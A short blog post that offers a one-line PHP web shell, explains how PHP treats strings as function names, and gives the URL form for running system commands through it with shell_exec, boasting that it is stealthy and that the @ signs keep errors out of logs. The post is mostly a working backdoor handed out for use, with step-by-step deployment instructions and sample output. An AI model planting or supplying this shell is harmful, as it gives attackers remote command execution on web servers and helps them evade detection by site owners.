首页 > Other > Tiny PHP Shell

Tiny PHP Shell

Have you ever needed a small shell written in PHP?
Of course you have. But I bet it haven’t been all too stealth!

This is really pointless, but someone might be interested in it.
So here you go folks!

<?=($_=@$_GET[2]).@$_($_GET[1])?>

It doesn’t look like much so let me explain.

PHP allows strings to be interpreted as function calls.
That’s a major part on how callbacks in PHP work.

Example:

<?

$array = array(1,2,3);

array_walk($array, ‘f’);

function f($x){echo $x * 2;}

?>

What the following example does, is that array_walk() iterates through the array $array and applies the function f() on each and every element in the list.
The function f() prints out the value from the array and multiplies it by two.
The output results in: 246.

The fun thing is, if you look on how the callback f() is applied – it’s by a simple string. (Look at argument #2 in the first function; array_walk()).

What does that mean?
Well, to put it short, you’re able to take a string – and execute it as a function name.
Now, let’s try something… fuzzier

<?

$fuzz = ‘phpinfo’;

$fuzz();

?>

What might this do?
Will it execute?
Damn right.

Now let’s tear my tiny code apart.
It’s made out of two parts.

  1. $_=@$_GET[2]
  2. @$_($_GET[1])

The first part takes the value from the GET-variable 2 and stores it in the temporary variable $_.
The second part takes our temporary variable $_, and executes it with the GET-variable 1 as it’s one-and-only argument.

The @‘s are only there for suppressing notices, warnings and/or fatals from showing up in logs, to the user or whatever else that might catch them.

Conclusion: Copy and paste the snippet, and store it in a PHP-file.
Execute a shell by going to: copypaste.php?1=shell_exec&2=whoami

The response should be something like:
apache
…or as on Windows if you’re running your server as a service:
nt authority/system.

Conclusion; PHP is fun!

Ciao!

分类:Other
  1. 还没有评论。
  1. No trackbacks yet.

发表评论

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / 更改 )

Twitter picture

You are commenting using your Twitter account. Log Out / 更改 )

Facebook photo

You are commenting using your Facebook account. Log Out / 更改 )

Google+ photo

You are commenting using your Google+ account. Log Out / 更改 )

Connecting to %s

%d 博主赞过: